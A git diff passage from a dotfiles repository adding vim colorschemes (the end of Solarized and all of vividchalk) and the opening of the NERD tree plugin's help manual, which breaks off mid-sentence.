.s:fg_ptable.s:bg_none .s:fmt_bldi +exe "hi! pandocStrongEmphasisTable" .s:fg_ptable.s:bg_none .s:fmt_bold +exe "hi! pandocStrongEmphasisNestedTable" .s:fg_ptable.s:bg_none .s:fmt_bldi +exe "hi! pandocStrongEmphasisEmphasisTable" .s:fg_ptable.s:bg_none .s:fmt_bldi +exe "hi! pandocStrikeoutTable" .s:fg_ptable.s:bg_none .s:fmt_revr +exe "hi! pandocVerbatimInlineTable" .s:fg_ptable.s:bg_none .s:fmt_none +exe "hi! pandocSuperscriptTable" .s:fg_ptable.s:bg_none .s:fmt_none +exe "hi! pandocSubscriptTable" .s:fg_ptable.s:bg_none .s:fmt_none + +" Headings +" --------------------------------------------------------------------- +let s:fg_phead = s:fg_orange +exe "hi! pandocHeading" .s:fg_phead .s:bg_none.s:fmt_bold +exe "hi! pandocHeadingMarker" .s:fg_yellow.s:bg_none.s:fmt_bold +exe "hi! pandocEmphasisHeading" .s:fg_phead .s:bg_none.s:fmt_bldi +exe "hi! pandocEmphasisNestedHeading" .s:fg_phead .s:bg_none.s:fmt_bldi +exe "hi! pandocStrongEmphasisHeading" .s:fg_phead .s:bg_none.s:fmt_bold +exe "hi! pandocStrongEmphasisNestedHeading" .s:fg_phead .s:bg_none.s:fmt_bldi +exe "hi! pandocStrongEmphasisEmphasisHeading".s:fg_phead .s:bg_none.s:fmt_bldi +exe "hi! pandocStrikeoutHeading" .s:fg_phead .s:bg_none.s:fmt_revr +exe "hi! pandocVerbatimInlineHeading" .s:fg_phead .s:bg_none.s:fmt_bold +exe "hi! pandocSuperscriptHeading" .s:fg_phead .s:bg_none.s:fmt_bold +exe "hi! pandocSubscriptHeading" .s:fg_phead .s:bg_none.s:fmt_bold + +" Links +" --------------------------------------------------------------------- +exe "hi! pandocLinkDelim" .s:fg_base01 .s:bg_none .s:fmt_none +exe "hi! pandocLinkLabel" .s:fg_blue .s:bg_none .s:fmt_undr +exe "hi! pandocLinkText" .s:fg_blue .s:bg_none .s:fmt_undb +exe "hi! pandocLinkURL" .s:fg_base00 .s:bg_none .s:fmt_undr +exe "hi! pandocLinkTitle" .s:fg_base00 .s:bg_none .s:fmt_undi +exe "hi! pandocLinkTitleDelim" .s:fg_base01 .s:bg_none .s:fmt_undi .s:sp_base00 +exe "hi! pandocLinkDefinition" .s:fg_cyan .s:bg_none .s:fmt_undr .s:sp_base00 +exe "hi! pandocLinkDefinitionID" .s:fg_blue .s:bg_none .s:fmt_bold +exe "hi! pandocImageCaption" .s:fg_violet .s:bg_none .s:fmt_undb +exe "hi! pandocFootnoteLink" .s:fg_green .s:bg_none .s:fmt_undr +exe "hi! pandocFootnoteDefLink" .s:fg_green .s:bg_none .s:fmt_bold +exe "hi! pandocFootnoteInline" .s:fg_green .s:bg_none .s:fmt_undb +exe "hi! pandocFootnote" .s:fg_green .s:bg_none .s:fmt_none +exe "hi! pandocCitationDelim" .s:fg_magenta.s:bg_none .s:fmt_none +exe "hi! pandocCitation" .s:fg_magenta.s:bg_none .s:fmt_none +exe "hi! pandocCitationID" .s:fg_magenta.s:bg_none .s:fmt_undr +exe "hi! pandocCitationRef" .s:fg_magenta.s:bg_none .s:fmt_none + +" Main Styles +" --------------------------------------------------------------------- +exe "hi! pandocStyleDelim" .s:fg_base01 .s:bg_none .s:fmt_none +exe "hi! pandocEmphasis" .s:fg_base0 .s:bg_none .s:fmt_ital +exe "hi! pandocEmphasisNested" .s:fg_base0 .s:bg_none .s:fmt_bldi +exe "hi! pandocStrongEmphasis" .s:fg_base0 .s:bg_none .s:fmt_bold +exe "hi! pandocStrongEmphasisNested" .s:fg_base0 .s:bg_none .s:fmt_bldi +exe "hi! pandocStrongEmphasisEmphasis" .s:fg_base0 .s:bg_none .s:fmt_bldi +exe "hi! pandocStrikeout" .s:fg_base01 .s:bg_none .s:fmt_revr +exe "hi! pandocVerbatimInline" .s:fg_yellow .s:bg_none .s:fmt_none +exe "hi! pandocSuperscript" .s:fg_violet .s:bg_none .s:fmt_none +exe "hi! pandocSubscript" .s:fg_violet .s:bg_none .s:fmt_none + +exe "hi! pandocRule" .s:fg_blue .s:bg_none .s:fmt_bold +exe "hi! pandocRuleLine" .s:fg_blue .s:bg_none .s:fmt_bold +exe "hi! pandocEscapePair" .s:fg_red .s:bg_none .s:fmt_bold +exe "hi! pandocCitationRef" .s:fg_magenta.s:bg_none .s:fmt_none +exe "hi! pandocNonBreakingSpace" . s:fg_red .s:bg_none .s:fmt_revr +hi! link pandocEscapedCharacter pandocEscapePair +hi! link pandocLineBreak pandocEscapePair + +" Embedded Code +" --------------------------------------------------------------------- +exe "hi! pandocMetadataDelim" .s:fg_base01 .s:bg_none .s:fmt_none +exe "hi! pandocMetadata" .s:fg_blue .s:bg_none .s:fmt_none +exe "hi! pandocMetadataKey" .s:fg_blue .s:bg_none .s:fmt_none +exe "hi! pandocMetadata" .s:fg_blue .s:bg_none .s:fmt_bold +hi! link pandocMetadataTitle pandocMetadata + +"}}} +" Utility autocommand "{{{ +" --------------------------------------------------------------------- +" In cases where Solarized is initialized inside a terminal vim session and +" then transferred to a gui session via the command `:gui`, the gui vim process +" does not re-read the colorscheme (or .vimrc for that matter) so any `has_gui` +" related code that sets gui specific values isn't executed. +" +" Currently, Solarized sets only the cterm or gui values for the colorscheme +" depending on gui or terminal mode. It's possible that, if the following +" autocommand method is deemed excessively poor form, that approach will be +" used again and the autocommand below will be dropped. +" +" However it seems relatively benign in this case to include the autocommand +" here. It fires only in cases where vim is transferring from terminal to gui +" mode (detected with the script scope s:vmode variable). It also allows for +" other potential terminal customizations that might make gui mode suboptimal. +" +autocmd GUIEnter * if (s:vmode != "gui") | exe "colorscheme " . g:colors_name | endif +"}}} +" Highlight Trailing Space {{{ +" Experimental: Different highlight when on cursorline +function! s:SolarizedHiTrail() + if g:solarized_hitrail==0 + hi! clear solarizedTrailingSpace + else + syn match solarizedTrailingSpace "\s*$" + exe "hi! solarizedTrailingSpace " .s:fmt_undr .s:fg_red .s:bg_none .s:sp_red + endif +endfunction +augroup SolarizedHiTrail + autocmd! + if g:solarized_hitrail==1 + autocmd! Syntax * call s:SolarizedHiTrail() + autocmd! ColorScheme * if g:colors_name == "solarized" | call s:SolarizedHiTrail() | else | augroup! s:SolarizedHiTrail | endif + endif +augroup END +" }}} +" Menus "{{{ +" --------------------------------------------------------------------- +" Turn off Solarized menu by including the following assignment in your .vimrc: +" +" let g:solarized_menu=0 + +function! s:SolarizedOptions() + new "new buffer + setf vim "vim filetype + let failed = append(0, s:defaults_list) + let failed = append(0, s:colorscheme_list) + let failed = append(0, s:options_list) + let failed = append(0, s:lazycat_list) + 0 "jump back to the top +endfunction +if !exists(":SolarizedOptions") + command SolarizedOptions :call s:SolarizedOptions() +endif + +function! SolarizedMenu() + if exists("g:loaded_solarized_menu") + try + silent! aunmenu Solarized + endtry + endif + let g:loaded_solarized_menu = 1 + + if g:colors_name == "solarized" && g:solarized_menu != 0 + + amenu &Solarized.&Contrast.&Low\ Contrast :let g:solarized_contrast="low" \| colorscheme solarized + amenu &Solarized.&Contrast.&Normal\ Contrast :let g:solarized_contrast="normal" \| colorscheme solarized + amenu &Solarized.&Contrast.&High\ Contrast :let g:solarized_contrast="high" \| colorscheme solarized + an &Solarized.&Contrast.-sep- + amenu &Solarized.&Contrast.&Help:\ Contrast :help 'solarized_contrast' + + amenu &Solarized.&Visibility.&Low\ Visibility :let g:solarized_visibility="low" \| colorscheme solarized + amenu &Solarized.&Visibility.&Normal\ Visibility :let g:solarized_visibility="normal" \| colorscheme solarized + amenu &Solarized.&Visibility.&High\ Visibility :let g:solarized_visibility="high" \| colorscheme solarized + an &Solarized.&Visibility.-sep- + amenu &Solarized.&Visibility.&Help:\ Visibility :help 'solarized_visibility' + + amenu &Solarized.&Background.&Toggle\ Background :ToggleBG + amenu &Solarized.&Background.&Dark\ Background :set background=dark \| colorscheme solarized + amenu &Solarized.&Background.&Light\ Background :set background=light \| colorscheme solarized + an &Solarized.&Background.-sep- + amenu &Solarized.&Background.&Help:\ ToggleBG :help togglebg + + if g:solarized_bold==0 | let l:boldswitch="On" | else | let l:boldswitch="Off" | endif + exe "amenu &Solarized.&Styling.&Turn\\ Bold\\ ".l:boldswitch." :let g:solarized_bold=(abs(g:solarized_bold-1)) \\| colorscheme solarized" + if g:solarized_italic==0 | let l:italicswitch="On" | else | let l:italicswitch="Off" | endif + exe "amenu &Solarized.&Styling.&Turn\\ Italic\\ ".l:italicswitch." :let g:solarized_italic=(abs(g:solarized_italic-1)) \\| colorscheme solarized" + if g:solarized_underline==0 | let l:underlineswitch="On" | else | let l:underlineswitch="Off" | endif + exe "amenu &Solarized.&Styling.&Turn\\ Underline\\ ".l:underlineswitch." :let g:solarized_underline=(abs(g:solarized_underline-1)) \\| colorscheme solarized" + + amenu &Solarized.&Diff\ Mode.&Low\ Diff\ Mode :let g:solarized_diffmode="low" \| colorscheme solarized + amenu &Solarized.&Diff\ Mode.&Normal\ Diff\ Mode :let g:solarized_diffmode="normal" \| colorscheme solarized + amenu &Solarized.&Diff\ Mode.&High\ Diff\ Mode :let g:solarized_diffmode="high" \| colorscheme solarized + + if g:solarized_hitrail==0 | let l:hitrailswitch="On" | else | let l:hitrailswitch="Off" | endif + exe "amenu &Solarized.&Experimental.&Turn\\ Highlight\\ Trailing\\ Spaces\\ ".l:hitrailswitch." :let g:solarized_hitrail=(abs(g:solarized_hitrail-1)) \\| colorscheme solarized" + an &Solarized.&Experimental.-sep- + amenu &Solarized.&Experimental.&Help:\ HiTrail :help 'solarized_hitrail' + + an &Solarized.-sep1- + + amenu &Solarized.&Autogenerate\ options :SolarizedOptions + + an &Solarized.-sep2- + + amenu &Solarized.&Help.&Solarized\ Help :help solarized + amenu &Solarized.&Help.&Toggle\ Background\ Help :help togglebg + amenu &Solarized.&Help.&Removing\ This\ Menu :help solarized-menu + + an 9999.77 &Help.&Solarized\ Colorscheme :help solarized + an 9999.78 &Help.&Toggle\ Background :help togglebg + an 9999.79 &Help.-sep3- + + endif +endfunction + +autocmd ColorScheme * if g:colors_name != "solarized" | silent! aunmenu Solarized | else | call SolarizedMenu() | endif + +"}}} +" License "{{{ +" --------------------------------------------------------------------- +" +" Copyright (c) 2011 Ethan Schoonover +" +" Permission is hereby granted, free of charge, to any person obtaining a copy +" of this software and associated documentation files (the "Software"), to deal +" in the Software without restriction, including without limitation the rights +" to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +" copies of the Software, and to permit persons to whom the Software is +" furnished to do so, subject to the following conditions: +" +" The above copyright notice and this permission notice shall be included in +" all copies or substantial portions of the Software. +" +" THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +" IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +" FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +" AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +" LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +" OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +" THE SOFTWARE. +" +" vim:foldmethod=marker:foldlevel=0 +"}}} diff --git a/vim/.vim/colors/vividchalk.vim b/vim/.vim/colors/vividchalk.vim new file mode 100644 index 00000000..638a8f4e --- /dev/null +++ b/vim/.vim/colors/vividchalk.vim @@ -0,0 +1,191 @@ +" Vim color scheme +" Name: vividchalk.vim +" Author: Tim Pope +" Version: 2.0 +" GetLatestVimScripts: 1891 1 :AutoInstall: vividchalk.vim + +" Based on the Vibrank Ink theme for TextMate +" Distributable under the same terms as Vim itself (see :help license) + +if has("gui_running") + set background=dark +endif +hi clear +if exists("syntax_on") + syntax reset +endif + +let colors_name = "vividchalk" + +" First two functions adapted from inkpot.vim + +" map a urxvt cube number to an xterm-256 cube number +fun! s:M(a) + return strpart("0245", a:a, 1) + 0 +endfun + +" map a urxvt colour to an xterm-256 colour +fun! s:X(a) + if &t_Co == 88 + return a:a + else + if a:a == 8 + return 237 + elseif a:a < 16 + return a:a + elseif a:a > 79 + return 232 + (3 * (a:a - 80)) + else + let l:b = a:a - 16 + let l:x = l:b % 4 + let l:y = (l:b / 4) % 4 + let l:z = (l:b / 16) + return 16 + s:M(l:x) + (6 * s:M(l:y)) + (36 * s:M(l:z)) + endif + endif +endfun + +function! E2T(a) + return s:X(a:a) +endfunction + +function! s:choose(mediocre,good) + if &t_Co != 88 && &t_Co != 256 + return a:mediocre + else + return s:X(a:good) + endif +endfunction + +function! s:hifg(group,guifg,first,second,...) + if a:0 && &t_Co == 256 + let ctermfg = a:1 + else + let ctermfg = s:choose(a:first,a:second) + endif + exe "highlight ".a:group." guifg=".a:guifg." ctermfg=".ctermfg +endfunction + +function! s:hibg(group,guibg,first,second) + let ctermbg = s:choose(a:first,a:second) + exe "highlight ".a:group." guibg=".a:guibg." ctermbg=".ctermbg +endfunction + +hi link railsMethod PreProc +hi link rubyDefine Keyword +hi link rubySymbol Constant +hi link rubyAccess rubyMethod +hi link rubyAttribute rubyMethod +hi link rubyEval rubyMethod +hi link rubyException rubyMethod +hi link rubyInclude rubyMethod +hi link rubyStringDelimiter rubyString +hi link rubyRegexp Regexp +hi link rubyRegexpDelimiter rubyRegexp +"hi link rubyConstant Variable +"hi link rubyGlobalVariable Variable +"hi link rubyClassVariable Variable +"hi link rubyInstanceVariable Variable +hi link javascriptRegexpString Regexp +hi link javascriptNumber Number +hi link javascriptNull Constant +highlight link diffAdded String +highlight link diffRemoved Statement +highlight link diffLine PreProc +highlight link diffSubname Comment + +call s:hifg("Normal","#EEEEEE","White",87) +if &background == "light" || has("gui_running") + hi Normal guibg=Black ctermbg=Black +else + hi Normal guibg=Black ctermbg=NONE +endif +highlight StatusLine guifg=Black guibg=#aabbee gui=bold ctermfg=Black ctermbg=White cterm=bold +highlight StatusLineNC guifg=#444444 guibg=#aaaaaa gui=none ctermfg=Black ctermbg=Grey cterm=none +"if &t_Co == 256 + "highlight StatusLine ctermbg=117 +"else + "highlight StatusLine ctermbg=43 +"endif + +highlight Ignore ctermfg=Black +highlight WildMenu guifg=Black guibg=#ffff00 gui=bold ctermfg=Black ctermbg=Yellow cterm=bold +highlight Cursor guifg=Black guibg=White ctermfg=Black ctermbg=White +highlight CursorLine guibg=#333333 guifg=NONE +highlight CursorColumn guibg=#333333 guifg=NONE +highlight NonText guifg=#404040 ctermfg=8 +highlight SpecialKey guifg=#404040 ctermfg=8 +highlight Directory none +high link Directory Identifier +highlight ErrorMsg guibg=Red ctermbg=DarkRed guifg=NONE ctermfg=NONE +highlight Search guifg=NONE ctermfg=NONE gui=none cterm=none +call s:hibg("Search" ,"#555555","DarkBlue",81) +highlight IncSearch guifg=White guibg=Black ctermfg=White ctermbg=Black +highlight MoreMsg guifg=#00AA00 ctermfg=Green +highlight LineNr guifg=#DDEEFF ctermfg=White +call s:hibg("LineNr" ,"#222222","DarkBlue",80) +highlight Question none +high link Question MoreMsg +highlight Title guifg=Magenta ctermfg=Magenta +highlight VisualNOS gui=none cterm=none +call s:hibg("Visual" ,"#555577","LightBlue",83) +call s:hibg("VisualNOS" ,"#444444","DarkBlue",81) +call s:hibg("MatchParen","#1100AA","DarkBlue",18) +highlight WarningMsg guifg=Red ctermfg=Red +highlight Error ctermbg=DarkRed +highlight SpellBad ctermbg=DarkRed +" FIXME: Comments +highlight SpellRare ctermbg=DarkMagenta +highlight SpellCap ctermbg=DarkBlue +highlight SpellLocal ctermbg=DarkCyan + +call s:hibg("Folded" ,"#110077","DarkBlue",17) +call s:hifg("Folded" ,"#aaddee","LightCyan",63) +highlight FoldColumn none +high link FoldColumn Folded +highlight DiffAdd ctermbg=4 guibg=DarkBlue +highlight DiffChange ctermbg=5 guibg=DarkMagenta +highlight DiffDelete ctermfg=12 ctermbg=6 gui=bold guifg=Blue guibg=DarkCyan +highlight DiffText ctermbg=DarkRed +highlight DiffText cterm=bold ctermbg=9 gui=bold guibg=Red + +highlight Pmenu guifg=White ctermfg=White gui=bold cterm=bold +highlight PmenuSel guifg=White ctermfg=White gui=bold cterm=bold +call s:hibg("Pmenu" ,"#000099","Blue",18) +call s:hibg("PmenuSel" ,"#5555ff","DarkCyan",39) +highlight PmenuSbar guibg=Grey ctermbg=Grey +highlight PmenuThumb guibg=White ctermbg=White +highlight TabLine gui=underline cterm=underline +call s:hifg("TabLine" ,"#bbbbbb","LightGrey",85) +call s:hibg("TabLine" ,"#333333","DarkGrey",80) +highlight TabLineSel guifg=White guibg=Black ctermfg=White ctermbg=Black +highlight TabLineFill gui=underline cterm=underline +call s:hifg("TabLineFill","#bbbbbb","LightGrey",85) +call s:hibg("TabLineFill","#808080","Grey",83) + +hi Type gui=none +hi Statement gui=none +if !has("gui_mac") + " Mac GUI degrades italics to ugly underlining. + hi Comment gui=italic + hi railsUserClass gui=italic + hi railsUserMethod gui=italic +endif +hi Identifier cterm=none +" Commented numbers at the end are *old* 256 color values +"highlight PreProc guifg=#EDF8F9 +call s:hifg("Comment" ,"#9933CC","DarkMagenta",34) " 92 +" 26 instead? +call s:hifg("Constant" ,"#339999","DarkCyan",21) " 30 +call s:hifg("rubyNumber" ,"#CCFF33","Yellow",60) " 190 +call s:hifg("String" ,"#66FF00","LightGreen",44,82) " 82 +call s:hifg("Identifier" ,"#FFCC00","Yellow",72) " 220 +call s:hifg("Statement" ,"#FF6600","Brown",68) " 202 +call s:hifg("PreProc" ,"#AAFFFF","LightCyan",47) " 213 +call s:hifg("railsUserMethod","#AACCFF","LightCyan",27) +call s:hifg("Type" ,"#AAAA77","Grey",57) " 101 +call s:hifg("railsUserClass" ,"#AAAAAA","Grey",7) " 101 +call s:hifg("Special" ,"#33AA00","DarkGreen",24) " 7 +call s:hifg("Regexp" ,"#44B4CC","DarkCyan",21) " 74 +call s:hifg("rubyMethod" ,"#DDE93D","Yellow",77) " 191 +"highlight railsMethod guifg=#EE1122 ctermfg=1 diff --git a/vim/.vim/doc/NERD_tree.txt b/vim/.vim/doc/NERD_tree.txt new file mode 100644 index 00000000..174229d9 --- /dev/null +++ b/vim/.vim/doc/NERD_tree.txt @@ -0,0 +1,1291 @@ +*NERD_tree.txt* A tree explorer plugin that owns your momma! + + + + omg its ... ~ + + ________ ________ _ ____________ ____ __________ ____________~ + /_ __/ / / / ____/ / | / / ____/ __ \/ __ \ /_ __/ __ \/ ____/ ____/~ + / / / /_/ / __/ / |/ / __/ / /_/ / / / / / / / /_/ / __/ / __/ ~ + / / / __ / /___ / /| / /___/ _, _/ /_/ / / / / _, _/ /___/ /___ ~ + /_/ /_/ /_/_____/ /_/ |_/_____/_/ |_/_____/ /_/ /_/ |_/_____/_____/ ~ + + + Reference Manual~ + + + + +============================================================================== +CONTENTS *NERDTree-contents* + + 1.Intro...................................|NERDTree| + 2.Functionality provided..................|NERDTreeFunctionality| + 2.1.Global commands...................|NERDTreeGlobalCommands| + 2.2.Bookmarks.........................|NERDTreeBookmarks| + 2.2.1.The bookmark table..........|NERDTreeBookmarkTable| + 2.2.2.Bookmark commands...........|NERDTreeBookmarkCommands| + 2.2.3.Invalid bookmarks...........|NERDTreeInvalidBookmarks| + 2.3.NERD tree mappings................|NERDTreeMappings| + 2.4.The NERD tree menu................|NERDTreeMenu| + 3.Options.................................|NERDTreeOptions| + 3.1.Option summary....................|NERDTreeOptionSummary| + 3.2.Option details....................|NERDTreeOptionDetails| + 4.The NERD tree API.......................|NERDTreeAPI| + 4.1.Key map API.......................|NERDTreeKeymapAPI| + 4.2.Menu API..........................|NERDTreeMenuAPI| + 5.About...................................|NERDTreeAbout| + 6.Changelog...............................|NERDTreeChangelog| + 7.Credits.................................|NERDTreeCredits| + 8.License.................................|NERDTreeLicense| + +============================================================================== +1. Intro *NERDTree* + +What is this "NERD tree"?? + +The NERD tree allows you to explore your filesystem and to open files and +directories. It presents the filesystem to you in the form of a tree which you +manipulate with the keyboard and/or mouse. It also allows you to perform +simple filesystem operations. + +The following features and functionality are provided by the NERD tree: + * Files and directories are displayed in a hierarchical tree structure + * Different highlighting is provided for the following types of nodes: + * files + * directories + * sym-links + * windows .lnk files + * read-only files + * executable files + * Many (customisable) mappings are provided to manipulate the tree: + * Mappings to open/close/explore directory nodes + * Mappings to open files in new/existing windows/tabs + * Mappings to change the current root of the tree + * Mappings to navigate around the tree + * ... + * Directories and files can be bookmarked. + * Most NERD tree navigation can also be done with the mouse + * Filtering of tree content (can be toggled at runtime) + * custom file filters to prevent e.g. vim backup files being displayed + * optional displaying of hidden files (. files) + * files can be "turned off" so that only directories are displayed + * The position and size of the NERD tree window can be customised + * The order in which the nodes in the tree are listed can be customised. + * A model of your filesystem is created/maintained as you explore it. This + has several advantages: + * All filesystem information is cached and is only re-read on demand + * If you revisit a part of the tree that you left earlier in your + session, the directory nodes will be opened/closed as you left them + * The script remembers the cursor position and window position in the NERD + tree so you can toggle it off (or just close the tree window) and then + reopen it (with NERDTreeToggle) the NERD tree window will appear exactly + as you left it + * You can have a separate NERD tree for each tab, share trees across tabs, + or a mix of both. + * By default the script overrides the default file browser (netw), so if + you :edit a directory a (slighly modified) NERD tree will appear in the + current window + * A programmable menu system is provided (simulates right clicking on a + node) + * one default menu plugin is provided to perform basic filesytem + operations (create/delete/move/copy files/directories) + * There's an API for adding your own keymappings + + +============================================================================== +2. Functionality provided *NERDTreeFunctionality* + +------------------------------------------------------------------------------ +2.1. Global Commands *NERDTreeGlobalCommands* + +:NERDTree [ | ] *:NERDTree* + Opens a fresh NERD tree. The root of the tree depends on the argument + given. There are 3 cases: If no argument is given, the current directory + will be used. If a directory is given, that will be used. If a bookmark + name is given, the corresponding directory will be used. For example: > + :NERDTree /home/marty/vim7/src + :NERDTree foo (foo is the name of a bookmark) +< +:NERDTreeFromBookmark *:NERDTreeFromBookmark* + Opens a fresh NERD tree with the root initialized to the dir for + . This only reason to use this command over :NERDTree is for + the completion (which is for bookmarks rather than directories). + +:NERDTreeToggle [ | ] *:NERDTreeToggle* + If a NERD tree already exists for this tab, it is reopened and rendered + again. If no NERD tree exists for this tab then this command acts the + same as the |:NERDTree| command. + +:NERDTreeMirror *:NERDTreeMirror* + Shares an existing NERD tree, from another tab, in the current tab. + Changes made to one tree are reflected in both as they are actually the + same buffer. + + If only one other NERD tree exists, that tree is automatically mirrored. If + more than one exists, the script will ask which tree to mirror. + +:NERDTreeClose *:NERDTreeClose* + Close the NERD tree in this tab. + +:NERDTreeFind *:NERDTreeFind* + Find the current file in the tree. + + If not tree exists and the current file is under vim's CWD, then init a + tree at the CWD and reveal the file. Otherwise init a tree in the current + file's directory. + + In any case, the current file is revealed and the cursor is placed on it. + +------------------------------------------------------------------------------ +2.2. Bookmarks *NERDTreeBookmarks* + +Bookmarks in the NERD tree are a way to tag files or directories of interest. +For example, you could use bookmarks to tag all of your project directories. + +------------------------------------------------------------------------------ +2.2.1. The Bookmark Table *NERDTreeBookmarkTable* + +If the bookmark table is active (see |NERDTree-B| and +|'NERDTreeShowBookmarks'|), it will be rendered above the tree. You can double +click bookmarks or use the |NERDTree-o| mapping to activate them. See also, +|NERDTree-t| and |NERDTree-T| + +------------------------------------------------------------------------------ +2.2.2. Bookmark commands *NERDTreeBookmarkCommands* + +Note that the following commands are only available in the NERD tree buffer. + +:Bookmark + Bookmark the current node as . If there is already a + bookmark, it is overwritten. must not contain spaces. + If is not provided, it defaults to the file or directory name. + For directories, a trailing slash is present. + +:BookmarkToRoot + Make the directory corresponding to the new root. If a treenode + corresponding to is already cached somewhere in the tree then + the current tree will be used, otherwise a fresh tree will be opened. + Note that if points to a file then its parent will be used + instead. + +:RevealBookmark + If the node is cached under the current root then it will be revealed + (i.e. directory nodes above it will be opened) and the cursor will be + placed on it. + +:OpenBookmark + must point to a file. The file is opened as though |NERDTree-o| + was applied. If the node is cached under the current root then it will be + revealed and the cursor will be placed on it. + +:ClearBookmarks [] + Remove all the given bookmarks. If no bookmarks are given then remove all + bookmarks on the current node. + +:ClearAllBookmarks + Remove all bookmarks. + +:ReadBookmarks + Re-read the bookmarks in the |'NERDTreeBookmarksFile'|. + +See also |:NERDTree| and |:NERDTreeFromBookmark|. + +------------------------------------------------------------------------------ +2.2.3. Invalid Bookmarks *NERDTreeInvalidBookmarks* + +If invalid bookmarks are detected, the script will issue an error message and +the invalid bookmarks will become unavailable for use. + +These bookmarks will still be stored in the bookmarks file (see +|'NERDTreeBookmarksFile'|), down the bottom. There will always be a blank line +after the valid bookmarks but before the invalid ones. + +Each line in the bookmarks file represents one bookmark. The proper format is: + + +After you have corrected any invalid bookmarks, either restart vim, or go +:ReadBookmarks from the NERD tree window. + +------------------------------------------------------------------------------ +2.3. NERD tree Mappings *NERDTreeMappings* + +Default Description~ help-tag~ +Key~ + +o.......Open files, directories and bookmarks....................|NERDTree-o| +go......Open selected file, but leave cursor in the NERDTree.....|NERDTree-go| +t.......Open selected node/bookmark in a new tab.................|NERDTree-t| +T.......Same as 't' but keep the focus on the current tab........|NERDTree-T| +i.......Open selected file in a split window.....................|NERDTree-i| +gi......Same as i, but leave the cursor on the NERDTree..........|NERDTree-gi| +s.......Open selected file in a new vsplit.......................|NERDTree-s| +gs......Same as s, but leave the cursor on the NERDTree..........|NERDTree-gs| +O.......Recursively open the selected directory..................|NERDTree-O| +x.......Close the current nodes parent...........................|NERDTree-x| +X.......Recursively close all children of the current node.......|NERDTree-X| +e.......Edit the current dif.....................................|NERDTree-e| + +...............same as |NERDTree-o|. +double-click.......same as the |NERDTree-o| map. +middle-click.......same as |NERDTree-i| for files, same as + |NERDTree-e| for dirs. + +D.......Delete the current bookmark .............................|NERDTree-D| + +P.......Jump to the root node....................................|NERDTree-P| +p.......Jump to current nodes parent.............................|NERDTree-p| +K.......Jump up inside directories at the current tree depth.....|NERDTree-K| +J.......Jump down inside directories at the current tree depth...|NERDTree-J| +...Jump down to the next sibling of the current directory...|NERDTree-C-J| +...Jump up to the previous sibling of the current directory.|NERDTree-C-K| + +C.......Change the tree root to the selected dir.................|NERDTree-C| +u.......Move the tree root up one directory......................|NERDTree-u| +U.......Same as 'u' except the old root node is left open........|NERDTree-U| +r.......Recursively refresh the current directory................|NERDTree-r| +R.......Recursively refresh the current root.....................|NERDTree-R| +m.......Display the NERD tree menu...............................|NERDTree-m| +cd......Change the CWD to the dir of the selected node...........|NERDTree-cd| + +I.......Toggle whether hidden files displayed....................|NERDTree-I| +f.......Toggle whether the file filters are used.................|NERDTree-f| +F.......Toggle whether files are displayed.......................|NERDTree-F| +B.......Toggle whether the bookmark table is displayed...........|NERDTree-B| + +q.......Close the NERDTree window................................|NERDTree-q| +A.......Zoom (maximize/minimize) the NERDTree window.............|NERDTree-A| +?.......Toggle the display of the quick help.....................|NERDTree-?| + +------------------------------------------------------------------------------ + *NERDTree-o* +Default key: o +Map option: NERDTreeMapActivateNode +Applies to: files and directories. + +If a file node is selected, it is opened in the previous window. + +If a directory is selected it is opened or closed depending on its current +state. + +If a bookmark that links to a directory is selected then that directory +becomes the new root. + +If a bookmark that links to a file is selected then that file is opened in the +previous window. + +------------------------------------------------------------------------------ + *NERDTree-go* +Default key: go +Map option: None +Applies to: files. + +If a file node is selected, it is opened in the previous window, but the +cursor does not move. + +The key combo for this mapping is always "g" + NERDTreeMapActivateNode (see +|NERDTree-o|). + +------------------------------------------------------------------------------ + *NERDTree-t* +Default key: t +Map option: NERDTreeMapOpenInTab +Applies to: files and directories. + +Opens the selected file in a new tab. If a directory is selected, a fresh +NERD Tree for that directory is opened in a new tab. + +If a bookmark which points to a directory is selected, open a NERD tree for +that directory in a new tab. If the bookmark points to a file, open that file +in a new tab. + +------------------------------------------------------------------------------ + *NERDTree-T* +Default key: T +Map option: NERDTreeMapOpenInTabSilent +Applies to: files and directories. + +The same as |NERDTree-t| except that the focus is kept in the current tab. + +------------------------------------------------------------------------------ + *NERDTree-i* +Default key: i +Map option: NERDTreeMapOpenSplit +Applies to: files. + +Opens the selected file in a new split window and puts the cursor in the new +window. + +------------------------------------------------------------------------------ + *NERDTree-gi* +Default key: gi +Map option: None +Applies to: files. + +The same as |NERDTree-i| except that the cursor is not moved. + +The key combo for this mapping is always "g" + NERDTreeMapOpenSplit (see +|NERDTree-i|). + +------------------------------------------------------------------------------ + *NERDTree-s* +Default key: s +Map option: NERDTreeMapOpenVSplit +Applies to: files. + +Opens the selected file in a new vertically split window and puts the cursor in +the new window. + +------------------------------------------------------------------------------ + *NERDTree-gs* +Default key: gs +Map option: None +Applies to: files. + +The same as |NERDTree-s| except that the cursor is not moved. + +The key combo for this mapping is always "g" + NERDTreeMapOpenVSplit (see +|NERDTree-s|). + +------------------------------------------------------------------------------ + *NERDTree-O* +Default key: O +Map option: NERDTreeMapOpenRecursively +Applies to: directories. + +Recursively opens the selelected directory. + +All files and directories are cached, but if a directory would not be +displayed due to file filters (see |'NERDTreeIgnore'| |NERDTree-f|) or the +hidden file filter (see |'NERDTreeShowHidden'|) then its contents are not +cached. This is handy, especially if you have .svn directories. + +------------------------------------------------------------------------------ + *NERDTree-x* +Default key: x +Map option: NERDTreeMapCloseDir +Applies to: files and directories. + +Closes the parent of the selected node. + +------------------------------------------------------------------------------ + *NERDTree-X* +Default key: X +Map option: NERDTreeMapCloseChildren +Applies to: directories. + +Recursively closes all children of the selected directory. + +Tip: To quickly "reset" the tree, use |NERDTree-P| with this mapping. + +------------------------------------------------------------------------------ + *NERDTree-e* +Default key: e +Map option: NERDTreeMapOpenExpl +Applies to: files and directories. + +|:edit|s the selected directory, or the selected file's directory. This could +result in a NERD tree or a netrw being opened, 